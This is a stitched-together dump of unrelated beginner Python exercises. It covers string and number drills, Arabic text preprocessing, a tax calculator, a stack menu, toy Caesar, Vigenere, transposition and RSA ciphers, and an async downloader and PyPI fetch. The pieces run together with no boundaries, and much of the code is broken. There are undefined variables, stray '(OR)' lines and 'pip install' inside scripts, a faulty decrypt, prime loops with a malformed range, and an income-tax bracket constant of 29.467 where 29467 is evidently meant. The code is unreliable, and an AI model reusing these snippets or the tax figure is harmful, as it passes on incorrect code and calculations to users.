lastName = input("Enter your last name: ")
title = input("Enter your preferred title: ")

# capitalize the first letter only:
firstName = firstName.capitalize()
title = title.capitalize()

# capitalize the whole word:
lastName = lastName.upper()


print(f"Greetings, {title}. {firstName} {lastName}")
def delete_links(input_text):
    pettern  = r'(?i)\b((?:https?://|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}/)(?:[^\s()<>]+|\(([^\s()<>]+|(\([^\s()<>]+\)))*\))+(?:\(([^\s()<>]+|(\([^\s()<>]+\)))*\)|[^\s`!()\[\]{};:'".,<>?«»“”‘’]))'
    out_text = re.sub(pettern, ' ', input_text)
    return out_text

def delete_repeated_characters(input_text):
    pattern  = r'(.)\1{2,}'
    out_text = re.sub(pattern, r"\1\1", input_text)
    return out_text

def replace_letters(input_text):
    replace = {"أ": "ا","ة": "ه","إ": "ا","آ": "ا","": ""}
    replace = dict((re.escape(k), v) for k, v in replace.items()) 
    pattern = re.compile("|".join(replace.keys()))
    out_text = pattern.sub(lambda m: replace[re.escape(m.group(0))], input_text)
    return out_text

def clean_text(input_text):
    replace = r'[/(){}\[\]|@âÂ,;\?\'\"\*…؟–’،!&\+-:؛-]'
    out_text = re.sub(replace, " ", input_text)
    words = nltk.word_tokenize(out_text)
    words = [word for word in words if word.isalpha()]
    out_text = ' '.join(words)
    return out_text

def remove_vowelization(input_text):
    vowelization = re.compile(""" ّ|َ|ً|ُ|ٌ|ِ|ٍ|ْ|ـ""", re.VERBOSE)
    out_text = re.sub(vowelization, '', input_text)
    return out_text

def delete_stopwords(input_text):
    stop_words = set(nltk.corpus.stopwords.words("arabic") + nltk.corpus.stopwords.words("english"))
    tokenizer = nltk.tokenize.WhitespaceTokenizer()
    tokens = tokenizer.tokenize(input_text)
    wnl = nltk.WordNetLemmatizer()
    lemmatizedTokens =[wnl.lemmatize(t) for t in tokens]
    out_text = [w for w in lemmatizedTokens if not w in stop_words]
    out_text = ' '.join(out_text)
    return out_text

def stem_text(input_text):
    st = ISRIStemmer()
    tokenizer = nltk.tokenize.WhitespaceTokenizer()
    tokens = tokenizer.tokenize(input_text)
    out_text = [st.stem(w) for w in tokens]
    out_text = ' '.join(out_text)
    return out_text


def text_prepare(input_text, ar_text):
    out_text = delete_links(input_text)
    out_text = delete_repeated_characters(out_text)
    out_text = clean_text(out_text)
    out_text = delete_stopwords(out_text)
    if ar_text:
        out_text = replace_letters(out_text)
        out_text = remove_vowelization(out_text)
    else:
        out_text = out_text.lower()
    return out_text
# this program will calculate the third side by using phythegrasos theorm:
import math # this is necessary for the formula particularly sqr
sideA = input("Please enter side A: ")
sideB = input("Please enter side B: ")
sideC = input("Please enter side C: ")

# to find which side is empty use if statement and  to refer to empty in coding is ''

if sideA == '':
    sideB = float(sideB)
    sideC = float(sideC)
    sideA = math.sqrt(sideC**2 - sideB**2)
    print(f"Given side C = {sideC} and side B = {sideB}")
    print(f"Calculated Side A as {round(sideA,4)}")
elif sideB == '':
    sideA = float(sideA)
    sideC = float(sideC)
    sideB = math.sqrt(sideC**2 - sideA**2)
    print(f"Given side C = {sideC} and side A = {sideA}")
    print(f"Calculated Side B as {round(sideB,4)}")
else:
    sideA = float(sideA)
    sideB = float(sideB)
    sideC = math.sqrt(sideA**2 + sideB**2)
    print(f"Given side A = {sideA} and side B = {sideB}")
    print(f"Calculated Side C as {round(sideC,4)}")
import math
name = input("Enter your name: ")
taxableIncome = float(input(f"Hi {name}, please enter your taxable income: "))
#round the users income to the lowest whole number 
taxableIncome = math.floor(taxableIncome)
# if statement to dtermine the appropriate tax:
if taxableIncome>=0 and taxableIncome<=18200:
    print(f"{name} has a taxable income of ${taxableIncome}, whith a total amount of $0 tax due.")
elif taxableIncome >= 18201 and taxableIncome <= 45000:
    tax= 0.19*(taxableIncome - 18200)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
elif taxableIncome >=  45001 and taxableIncome<= 120000:
    tax = 5092+ 0.325*(taxableIncome - 45000)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
elif taxableIncome>= 120001 and taxableIncome<= 180000:
    tax = 29.467+0.37*(taxableIncome - 120000)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
else:
    tax = 51667+0.45*(taxableIncome - 180000)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
def push(stack, item):
    stack.append(item)
    print("Item pushed to stack")


def pop(stack):
    if len(stack) == 0:
        print("Stack is empty")
    else:
        stack.pop()
        print("Item popped from stack")


def peek(stack):
    if len(stack) == 0:
        print("Stack is empty")
    else:
        print(stack[-1])


def display(stack):
    if len(stack) == 0:
        print("Stack is empty")
    else:
        print(stack)


def main():
    stack = []
    choice = 0
    while choice != 6:
        print("1. Push")
        print("2. Pop")
        print("3. Peek")
        print("4. Display")
        print("5. Exit")
        choice = int(input("Enter your choice : "))
        if choice == 1:
            item = input("Enter the item to be pushed : ")
            push(stack, item)
        elif choice == 2:
            pop(stack)
        elif choice == 3:
            peek(stack)
        elif choice == 4:
            display(stack)
        elif choice == 5:
            exit()
        else:
            print("Wrong choice")


if __name__ == '__main__':
    main()
def addNums(a,b):
    summa = a + b
    return summa
ARABIC_PUNCTUATION = ':"؟!؛،,.؍, '

def remove_arabic_punctuations(text : str) -> str:
    '''
        text : ", أَهْلًا وسَهْلًا Hello 212"
        output : 
            ---> "  أَهْلًا وسَهْلًا Hello 212"
    '''
    chars = [char for char in text if (char not in ARABIC_PUNCTUATION)]
    output = ''.join(chars)
    return output
def remove_diacritics(text : str) -> str:
    '''
        text : "أَهْلًا وسَهْلًا Hello 212"
        output : 
            ---> "أهلا وسهلا Hello 212"
    '''
    chars = [char for char in text if (char not in HARAKAT)]
    output = ''.join(chars)
    return output
pip install numpy

a = np.zeros((2, 3))

print(a)
import math
from random import getrandbits


def encrypt(message, key):
    cipher = ""
    
    for i in range(len(message)):
            char = message[i]
            keychar = key[i]
            
            if (char.isupper()):
                cipher += chr((ord(char) + ord(keychar) - 130) % 26 + 65)
                
            else:
                cipher += chr((ord(char) + ord(keychar) - 194) % 26 + 97)
        
    return cipher

def decrypt(cipher, key):
    message = ""
    
    for i in range(len(cipher)):
            char = cipher[i]
            keychar = key[i]
            
            if (char.isupper()):
                message += chr((ord(char) - ord(keychar) - 130) % 26 + 65)
                
            else:
                message += chr((ord(char) - ord(keychar)) % 26 + 97)
                
    return message
    
def newkey(text, key):
    newkey = ""
    length = 1
        
    while length <= len(text):
        for i in range(len(key)):
            if length <= len(text):
                newkey += key[i]
                length += 1
            else:
                break;
    return newkey
    
def gcd(a, b):
    while b != 0:
        a, b = b, a % b
    return a

def modinv(a, m):
    for x in range(1, m):
        if (a * x) % m == 1:
            return x
    return None

def is_prime(n):
    if n in [2, 3]:
        return True
    if n == 1 or n % 2 == 0:
        return False
    for i in range(3, int(n ** 0.5) + 1, 2):
        if n % i == 0:
            return False
    return True

def generate_keypair(p, q):
    if not (is_prime(p) and is_prime(q)):
        raise ValueError('Both numbers must be prime.')
    elif p == q:
        raise ValueError('p and q cannot be equal')

    n = p * q
    phi = (p - 1) * (q - 1)

    e = getrandbits(phi.bit_length())
    g = gcd(e, phi)
    while g != 1:
        e = getrandbits(phi.bit_length())
        g = gcd(e, phi)

    d = modinv(e, phi)

    return ((e, n), (d, n))

def encrypt4(pk, plaintext):
    key, n = pk
    cipher = [(ord(char) ** key) % n for char in plaintext]
    return cipher

def decrypt4(pk, ciphertext):
    key, n = pk
    plain = [chr((char ** key) % n) for char in ciphertext]
    return ''.join(plain)

def encryptMessage(key, message):
    
    cipherText = [""] * key
    for col in range(key):
        pointer = col
        while pointer < len(message):
            cipherText[col] += message[pointer]
            pointer += key
    return "".join(cipherText)

def decryptMessage(key, message):
    
    numCols = math.ceil(len(message) / key)
    numRows = key
    numShadedBoxes = (numCols * numRows) - len(message)
    plainText = [""] * numCols
    col = 0
    row = 0
 
    for symbol in message:
        plainText[col] += symbol
        col += 1
 
        if (
            (col == numCols)
            or (col == numCols - 1)
            and (row >= numRows - numShadedBoxes)
        ):
            col = 0
            row += 1
 
    return "".join(plainText)
    
x = 1
while(x==1):
    print("1.Caesar Cipher \n 2.Vernam Cipher \n 3.Vigenere Cipher \n 4.RSA \n 5.Transposition Cipher \n")
    Choice = int(input("Choose one of the options above: "))
 
    if Choice == 1:
        print("\n1.Encrypt a message \n 2.Decrypt a message\n")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            cipher = ""
            message = input("Enter your message: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(message)):
                char = message[i]
            
                if (char.isupper()):
                    cipher += chr((ord(char) + shift - 65) % 26 + 65)

                else:
                    cipher += chr((ord(char) + shift - 97) % 26 + 97)
                
            print("Your cipher text = ",cipher)
 
        if option == 2:
            message = ""
            cipher = input("Enter your Cipher text: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(cipher)):
                char = cipher[i]
            
                if (char.isupper()):
                    message += chr((ord(char) - shift - 65) % 26 + 65)
        
                else: 
                    message += chr((ord(char) - shift - 97) % 26 + 97)
            print("Your decrypted message = ",message)
 
    elif Choice == 2:
        print("1.Encrypt a message \n 2.Decrypt a message")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message : ")
            key = input("Enter the key: ")
        
            print("Your cipher text = ",encrypt(message, key))
        
        elif option == 2:
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            print("Your decrypted message = ",decrypt(cipher, key))
 
    elif Choice == 3:
        print("1.Encrypt a message \n 2.Decrypt a message")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message: ")
            key = input("Enter the key: ")
        
            key = newkey(message, key)
            print("Your cipher text = ",encrypt(message,key))
        
        elif option == 2:
            message = ""
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            key = newkey(cipher, key)
            print("Your decrypted message = ",decrypt(cipher,key))
    
    elif Choice == 4:
        print("1.Encrypt or Decrypt message after key generation")
        opt = int(input("Choose one option from above: "))
        
        if opt == 1:
            p = int(input("Enter a prime number (17, 19, 23 etc): "))
            q = int(input("Enter another prime number (Not one you entered above): "))
            print("Generating your public and private keypairs...")
            public, private = generate_keypair(p, q)
            print("Your public key = ", public, " and your private key = ", private)
            message = input("Enter a message to encrypt with your key: ")
            encrypted_msg = encrypt4(private, message)
            print("Your encrypted message is: ")
            print(''.join(map(lambda x: str(x), encrypted_msg)))
            print("Your message is:")
            print(decrypt4(public, encrypted_msg))
        
        else:
            print("You entered a wrong option")
    
    elif Choice == 5:
        print("1.Encryption \n 2.Decryption")
        option = int(input("\nChoose one option from above: "))

        if option == 1:
            message = input("Enter message: ")
            key = int(input("Enter key [2-%s]: " % (len(message) - 1)))
            text = encryptMessage(key, message)
            print("Your encrypted message = ",text)
        elif option == 2:
            cipher = input("Enter message: ")
            key = int(input("Enter key [2-%s]: " % (len(cipher) - 1)))
            text = decryptMessage(key, cipher)
            print("Your encrypted message = ",text)
        
    opt = input("\nDo you want to continue?(y/n): ")
    if opt == 'n':
        x = 0
    elif opt == 'y':
        x = 1
        
        
# if order of characters is important

string=input('enter string:')
new=''
for i in string:
    if i not in new:
        new+=i
print(new)

# if order of characters is not important

s=set()
for i in string:
    s.add(i)
lis=''
for i in s:
    lis+=i
print(lis)
string1=input('enter first string:')
string2=input('enter second string:')
string=''.join([string1,string2])
print('string concatenation without join method:',string1+string2)
print('string concatenation using join method:',string)
string=input('enter string:')
new=''
for i in string:
    if i!=' ':
        new+=i
print('string after removing spaces:',new)
string=input('enter string:')
lis=[]
for i in string:
    lis.append(i)
print(lis)

(OR)

print(list(string))
string=input('enter string:')
alpha=0
digits=0
special=0
for i in string:
    if i.isdigit():
        digits+=1
    elif i.isalpha():
        alpha+=1
    else:
        special+=1
print('digits:',digits,'alphabets:',alpha,'special character:',special)
string=input('enter string:')
new=''
lis=['a','e','o','i','u']
for i in range(len(string)):
    if string[i].lower() in lis:
        new+='_'
        new+=string[i+1:]
        break
    else:
        new+=string[i]
print(new)
string=input('enter string:')
count=0
char=''
for i in set(string):
    if string.count(i)>count:
        count=string.count(i)
        char=i
print(char)
string=input('enter string:')
vowels=0
consonants=0
lis=['a','e','i','o','u']
for i in string:
    if i.lower() in lis:
        vowels+=1
    else:
        consonants+=1
print('In',string,'there are',vowels,'vowels and',consonants,'are there',)
string=input('enter string:')
new=''
lis=['a','e','i','o','u']
for i in string:
    if i.lower() in lis:
        i='' # continue
    new+=i
print('The string after removing vowels is',new)
string=input('enter string:')
new=''
for i in string:
    if i.isupper():
        i=i.lower()
    new+=i
print('Lower Case String is',new)
string=input('enter string:')
new=''
for i in string:
    if i.islower():
        i=i.upper()
    new+=i
print('Uppercase String is',new)
from django.contrib import admin

class RelationAdmin(admin.ModelAdmin):
       raw_id_fields = ('Media','Particle',)

admin.site.register(Relation, RelationAdmin)
string=input('enter string:')
char=input('enter character to replace space:')
modify_String=string.replace(' ',char)
print('After Replacing space with',char,'string will be',modify_String)

(OR)

string=input('enter string:')
char=input('enter character to replace space:')
concate=''
for i in string:
    if i==' ':
        i=char
    concate+=i
print('After Replacing space with',char,'string will be',concate)
    
(OR)

string=input('enter string:')
char=input('enter character to replace space:')
print('After Replacing space with',char,'string will be',char.join(string.split()))


char=input('enter character:')
if '0'<=char<='9':
    print(char,'is digit')
else:
    print(char,'is not digit')
    
(OR)
    
char=input('enter character:')
if 48<=ord(char)<=57:
    print(char,'is digit')
else:
    print(char,'is not digit')

(OR)

char=input('enter character:')
if char.isdigit():  # isdigit() is a method to find digit or not it returns true and false
    print(char,'is digit')
else:
    print(char,'is not digit')
char=input('enter character:')
lis=['a','e','i','o','u']
if char.lower() in lis:
    print(char,'is vowel')
else:
    print(char,'is consonant')

(OR)

char=input('enter character:')
if char=='a' or char=='e' or char=='i' or char=='o' or char=='u' or char=='A' or char=='E' or char=='I' or char=='O' or char=='U':
    print(char,'is vowel')
else:
    print(char,'is consonant')
string=input('enter string:')
if string==string[::-1]:
    print(string,'is palindrome')
else:
    print(string,'is not palindrome')
    
    (OR)
    
string=input('enter string:')
if string==''.join(reversed(string)):
    print(string,'is palindrome')
else:
    print(string,'is not palindrome')
    
    (OR)
    
string=input('enter string:')
reverse=''
for i in string:
    reverse=i+reverse
if string==reverse:
    print(string,'is palindrome')
else:
    print(string,'is not palindrome')
    
    (OR)
    
string=input('enter string:')
for i in range(len(string)//2):
    if string[i]!=string[len(string)-i-1]:
        print(string,'is not palindrome')
        break
else:
    print(string,'is palindrome')
string1=input('enter first string:')
string2=input('enter second string:')
string1=string1.lower()
string2=string2.lower()
if sorted(string1)==sorted(string2):
    print('string1 and string2 are anagrams')
else:
    print('string1 and string2 are not anagrams')
string=input('enter string:')
char=input('enter character you want to count:')
count=0
for i in string:
    if i==char:
        count+=1
print('The number of occurance of character',char,'is',count)
string=input('enter string:')
char=input('enter character you want to remove:')
strr=string.replace(char,'')
print('string after removing',char,'character: ',strr)
def encrypt(message, key):
    cipher = ""
    
    for i in range(len(message)):
            char = message[i]
            keychar = key[i]
            
            if (char.isupper()):
                cipher += chr((ord(char) + ord(keychar) - 130) % 26 + 65)
                
            else:
                cipher += chr((ord(char) + ord(keychar) - 194) % 26 + 97)
        
    return cipher

def decrypt(cipher, key):
    message = ""
    
    for i in range(len(cipher)):
            char = cipher[i]
            keychar = key[i]
            
            if (char.isupper()):
                message += chr((ord(char) - ord(keychar) - 130) % 26 + 65)
                
            else:
                message += chr((ord(char) - ord(keychar)) % 26 + 97)
                
    return message
    
def newkey(text, key):
    newkey = ""
    length = 1
        
    while length <= len(text):
        for i in range(len(key)):
            if length <= len(text):
                newkey += key[i]
                length += 1
            else:
                break;
    return newkey
    
x = 1
while(x==1):
    print("1.Caesar Cipher \n 2.Vernam Cipher \n 3.Vigenere Cipher \n 4.Transposition Cipher \n 5.RSA \n")
    Choice = int(input("Choose one of the options above: "))
 
    if Choice == 1:
        print("\n1.Encrypt a message \n 2.Decrypt a message\n")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            cipher = ""
            message = input("Enter your message: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(message)):
                char = message[i]
            
                if (char.isupper()):
                    cipher += chr((ord(char) + shift - 65) % 26 + 65)

                else:
                    cipher += chr((ord(char) + shift - 97) % 26 + 97)
                
            print("Your cipher text = ",cipher)
 
        if option == 2:
            message = ""
            cipher = input("Enter your Cipher text: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(cipher)):
                char = cipher[i]
            
                if (char.isupper()):
                    message += chr((ord(char) - shift - 65) % 26 + 65)
        
                else: 
                    message += chr((ord(char) - shift - 97) % 26 + 97)
            print("Your decrypted message = ",message)
 
    elif Choice == 2:
        print("1.Encrypt a message")
        print("2.Decrypt a cipher")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message : ")
            key = input("Enter the key: ")
        
            print("Your cipher text = ",encrypt(message, key))
        
        elif option == 2:
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            print("Your decrypted message = ",decrypt(cipher, key))
 
    elif Choice == 3:
        print("1.Encrypt a message")
        print("2.Decrypt a cipher")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message: ")
            key = input("Enter the key: ")
        
            key = newkey(message, key)
            print("Your cipher text = ",encrypt(message,key))
        
        elif option == 2:
            message = ""
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            key = newkey(cipher, key)
            print("Your decrypted message = ",decrypt(cipher,key))
            
    opt = input("\nDo you want to continue?(y/n): ")
    if opt == 'n':
        x = 0
    elif opt == 'y':
        x = 1
        
        
num = int(input("enter number:"))

print("square of",num,'is',num*num) # normal

print('square of',num,'is',pow(num,2)) # using pow() function

print('square of',num,'is',num**2) # using exponent operator

print("cube of",num,'is',num*num*num) # normal

print('cube of',num,'is',pow(num,2)*num) # using pow() function

print('cube of',num,'is',num**2*num) # using exponent operator
# using pow() function

base = int(input("Enter the value for base :"))
exponent = int(input("Enter the value for exponent :"))
print(base,"to power ",exponent,"=",pow(base,exponent))


( OR )

# using for loop (iterative method)

base = int(input("Enter the value for base :"))
exponent = int(input("Enter the value for exponent :"))
power=1
for i in range(1,exponent+1):
    power*=base
print(base,"to power ",exponent,"=",power)
n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
n3=int(input('enter third number:'))
if n1<=n2 and n1<=n3:
    small=n1
elif n2<=n1 and n2<=n3:
    small=n2
else:
    small=n3
print('minimum value is',small)
low=int(input('enter lower range:'))
high=int(input('enter heigher range:'))
for i in range(low,high+1):
    for j in range(2,i//+1):
        if i%j==0:
            break
    else:
        print(i,end=' ')
        
        
n=int(input('enter number:'))
for i in range(2,n+1):
    for j in range(2,i//+1):
        if i%j==0:
            break
    else:
        print(i,end=' ')
        
        
(OR)


def prime(n):
    if n<2:
        return 0
    else:
        for i in range(2,n//2+1):
            if n%i==0:
                return 0
        return 1

n=int(input('enter number:'))
for i in range(1,n+1):
    if prime(i):
        print(i,end=' ')
n=int(input('enter number:'))
if n%2==0:
    print(n,'is even number')
else:
    print(n,'is odd number')
def fact(n):
    if n==1:
        return 1
    else:
        return n*fact(n-1)

n=int(input('enter number:'))
if n<0:
    print('enter positive number')
else:
    print(n,'!=',fact(n))
    
n=int(input('enter number:'))
if n<0:
    print('enter positive number')
elif n==0:
    print(0,'!=',1)
else:
    factorial=1
    for i in range(1,n+1):
        factorial=factorial*i
    print(n,'!=',factorial)
arr=list(map(int,input('enter values to array:').split()))
summ=sum(arr)
length=len(arr)
average=summ/length
print(average)
n=int(input('enter number:'))
summ=0
for i in range(1,n): # (1,n//2+1) all factors b/w 1 and half of number if excludes n itself
    if n%i==0:
        summ+=i
if summ==n:
    print(n,'is perfect number')
else:
    print(n,'is not perfect number')
#by using increment

n1=int(input('enter first number:')) 
n2=int(input('enter second number:')) 
for i in range(1,n2+1): 
    n1+=1
print(n1)

#by using AND (&) and XOR(A)

n1=int(input('enter first number:')) 
n2=int(input('enter second number:'))
while(n2!=0): 
    carry=n1&n2
    n1=n1^n2
    n2=carry<<1
print(n1)

#Subtraction without '-' operator

n1=int(input('enter first number:'))
n2=int(input('enter second number:')) 
while(n2!=0):
    n1=n1^n2
    carry=n1&n2 
    n2=carry<<1
print(n1)
async def async_http_download(src_url, dest_file, chunk_size=65536):
    async with aiofiles.open(dest_file, 'wb') as fd:
        async with aiohttp.ClientSession() as session:
            async with session.get(src_url) as resp:
                async for chunk in resp.content.iter_chunked(chunk_size):
                    await fd.write(chunk)
import asyncio
import concurrent.futures
import requests

async def main():

    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:

        loop = asyncio.get_event_loop()
        futures = [
            loop.run_in_executor(
                executor, 
                requests.get, 
                'http://example.org/'
            )
            for i in range(20)
        ]
        for response in await asyncio.gather(*futures):
            pass


loop = asyncio.get_event_loop()
loop.run_until_complete(main())
n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
print('Before Swapping: n1=',n1,'n2=',n2)
temp=n1
n1=n2
n2=temp
print('After Swapping: n1=',n1,'n2=',n2)

n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
print('Before Swapping: n1=',n1,'n2=',n2)
n1=n1+n2
n2=n1-n2
n1=n1-n2
print('After Swapping: n1=',n1,'n2=',n2)

(OR)

# This will used for any datatype like strings also

n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
print('Before Swapping: n1=',n1,'n2=',n2)
n1,n2=n2,n1
print('After Swapping: n1=',n1,'n2=',n2)
# input as Number

n=int(input('enter number:'))
temp=n
while(n!=0):
    rem=n%10
    if rem!=0 and rem!=1:
        print(temp,'is not Binary Number')
        break
    n=n//10
else:
    print(temp,'is Binary Number')
    
    
(OR)

# input as String

n=input('enter number:')
lis=['1','0']
for i in n:
    if i not in lis:
        print(n,'is not Binary Number')
        break
else:
    print(n,'is Binary Number')
n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
n3=int(input('enter third number:'))
if n1>=n2 and n1>=n3:
    maxi=n1
elif n2>=n1 and n2>=n3:
    maxi=n2
else:
    maxi=n3
print('maximum value is',maxi)

(OR)

# using ternary operator

maxi=n1 if n1>=n2 else n2
maxi= maxi if maxi>=n3 else n3
print('maximum value is',maxi)
n=int(input('enter number:'))
temp,reverse=n,0
while(n!=0):
    rem=n%10
    reverse=(reverse*10)+rem
    n=n//10
if temp==reverse:
    print(temp,'is Palindrome Number')
else:
    print(temp,'is not Palindrome Number')

(OR)

n=int(input('enter number:'))
reverse=int(str(n)[::-1])
if n==reverse:
    print(n,'is Palindrome Number')
else:
    print(n,'is not Palindrome Number')
def fibonacci(n):
    if n<=1:
        return n
    return fibonacci(n-1)+fibonacci(n-2)

n=int(input('enter number:'))
if n<0:
    print('enter positive number')
else:
    print(fibonacci(n))
    
# Fibonacci term always starts with 0
def fibonacci(n):
    if n==0:
        return 0
    elif n==1:
        return 1
    else:
        return fibonacci(n-1)+fibonacci(n-2)

n=int(input('enter number:'))
if n<0:
    print('enter positive number')
else:
    print('Fibonacci Series: ',end='')
    for i in range(n):
        print(fibonacci(i),end=' ')
n=int(input('enter number:'))
if n==1:
    print(1,'is not prime number because it has only one factor')
else:
    for i in range(2,n): # (2,n//2)
        if n%i==0:
            print(n,'is not prime number')
            break
    else:
        print(n,'is prime number')
n=int(input('enter number:'))
temp=n
length=len(str(n))
summ=0
while(n!=0):
    rem=n%10
    summ=summ+rem**length # pow(rem,length)
    n=n//10
if summ==temp:
    print('It is Armstrong Number')
else:
    print('It is not Armstrong Number')
n=int(input('enter number:'))
reverse=0
while(n!=0):
    rem=n%10
    reverse=reverse*10+rem
    n=n//10
print(reverse)

(OR)

n=int(input('enter number'))
print(int(str(n)[::-1]))
n=int(input('enter number:'))
num1,num2=0,1
print(num1,num2,end=' ')
for i in range(2,n):
    num3=num1+num2
    num1=num2
    num2=num3
    print(num3,end=' ')
def count_partitions(n, m):
  if (n == 0 ): 
    return 1 # there is only 1 way i.e. to leave it unpartitioned
  if (m == 0 or n < 0):
    return 0 # there is no way to divide n into 0 partions or if n is -ve (latter one from edge case of recursion call of n - m)
  else:
    return count_partitions(n - m, m) + count_partitions(n, m - 1)

print(count_partitions(9, 5)) # 23
  
def uniquePaths(n, m):
  if (n == 1 or m == 1):
    return 1
  else:
    return uniquePaths(n - 1, m) + uniquePaths(n, m - 1)

print(uniquePaths(3, 3))
result.fillna(0, inplace=True)
import json
import pprint

from urllib.request import urlopen

with urlopen("https://pypi.org/pypi/sampleproject/json") as resp:
    project_info = json.load(resp)["info"]

print(project_info)
""" Result:
    {'author': '', 'author_email': '"A. Random Developer" <author@example.com>', 'bugtrack_url': None, 'classifiers': ['Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3 :: Only', 'Programming Language :: Python :: 3.10', 'Programming Language :: Python :: 3.11', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', 'Topic :: Software Development :: Build Tools'], 'description': '# A sample Python project\n\n![Python Logo](https://www.python.org/static/community_logos/python-logo.png "Sample inline image")\n\nA sample project that exists as an aid to the [Python Packaging User\nGuide][packaging guide]\'s [Tutorial on Packaging and Distributing\nProjects][distribution tutorial].\n\nThis project does not aim to cover best practices for Python project\ndevelopment as a whole. For example, it does not provide guidance or tool\nrecommendations for version control, documentation, or testing.\n\n[The source for this project is available here][src].\n\nThe metadata for a Python project is defined in the `pyproject.toml` file,\nan example of which is included in this project. You should edit this file\naccordingly to adapt this sample project to your needs.\n\n----\n\nThis is the README file for the project.\n\nThe file should use UTF-8 encoding and can be written using\n[reStructuredText][rst] or [markdown][md use] with the appropriate [key set][md\nuse]. It will be used to generate the project webpage on PyPI and will be\ndisplayed as the project homepage on common code-hosting services, and should be\nwritten for that purpose.\n\nTypical contents for this file would include an overview of the project, basic\nusage examples, etc. Generally, including the project changelog in here is not a\ngood idea, although a simple “What\'s New” section for the most recent version\nmay be appropriate.\n\n[packaging guide]: https://packaging.python.org\n[distribution tutorial]: https://packaging.python.org/tutorials/packaging-projects/\n[src]: https://github.com/pypa/sampleproject\n[rst]: http://docutils.sourceforge.net/rst.html\n[md]: https://tools.ietf.org/html/rfc7764#section-3.5 "CommonMark variant"\n[md use]: https://packaging.python.org/specifications/core-metadata/#description-content-type-optional\n', 'description_content_type': 'text/markdown', 'docs_url': None, 'download_url': '', 'downloads': {'last_day': -1, 'last_month': -1, 'last_week': -1}, 'home_page': '', 'keywords': 'sample,setuptools,development', 'license': 'Copyright (c) 2016 The Python Packaging Authority (PyPA)  Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:  The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ', 'maintainer': '', 'maintainer_email': '"A. Great Maintainer" <maintainer@example.com>', 'name': 'sampleproject', 'package_url': 'https://pypi.org/project/sampleproject/', 'platform': None, 'project_url': 'https://pypi.org/project/sampleproject/', 'project_urls': {'Bug Reports': 'https://github.com/pypa/sampleproject/issues', 'Funding': 'https://donate.pypi.org', 'Homepage': 'https://github.com/pypa/sampleproject', 'Say Thanks!': 'http://saythanks.io/to/example', 'Source': 'https://github.com/pypa/sampleproject/'}, 'release_url': 'https://pypi.org/project/sampleproject/3.0.0/', 'requires_dist': ['peppercorn', "check-manifest ; extra == 'dev'", "coverage ; extra == 'test'"], 'requires_python': '>=3.7', 'summary': 'A sample Python project', 'version': '3.0.0', 'yanked': False, 'yanked_reason': None}
"""

pprint.pprint(project_info)
"""
    {'author': '',
     'author_email': '"A. Random Developer" <author@example.com>',
     'bugtrack_url': None,
     'classifiers': ['Development Status :: 3 - Alpha',
                     'Intended Audience :: Developers',
                     'License :: OSI Approved :: MIT License',
                     'Programming Language :: Python :: 3',
                     'Programming Language :: Python :: 3 :: Only',
                     'Programming Language :: Python :: 3.10',
                     'Programming Language :: Python :: 3.11',
                     'Programming Language :: Python :: 3.7',
                     'Programming Language :: Python :: 3.8',
                     'Programming Language :: Python :: 3.9',
                     'Topic :: Software Development :: Build Tools'],
     'description': '# A sample Python project\n'
                    '\n'
                    '![Python '
                    'Logo](https://www.python.org/static/community_logos/python-logo.png '
                    '"Sample inline image")\n'
                    '\n'
                    'A sample project that exists as an aid to the [Python '
                    'Packaging User\n'
                    "Guide][packaging guide]'s [Tutorial on Packaging and "
                    'Distributing\n'
                    'Projects][distribution tutorial].\n'
                    '\n'
                    'This project does not aim to cover best practices for Python '
                    'project\n'
                    'development as a whole. For example, it does not provide '
                    'guidance or tool\n'
                    'recommendations for version control, documentation, or '
                    'testing.\n'
                    '\n'
                    '[The source for this project is available here][src].\n'
                    '\n'
                    'The metadata for a Python project is defined in the '
                    '`pyproject.toml` file,\n'
                    'an example of which is included in this project. You should '
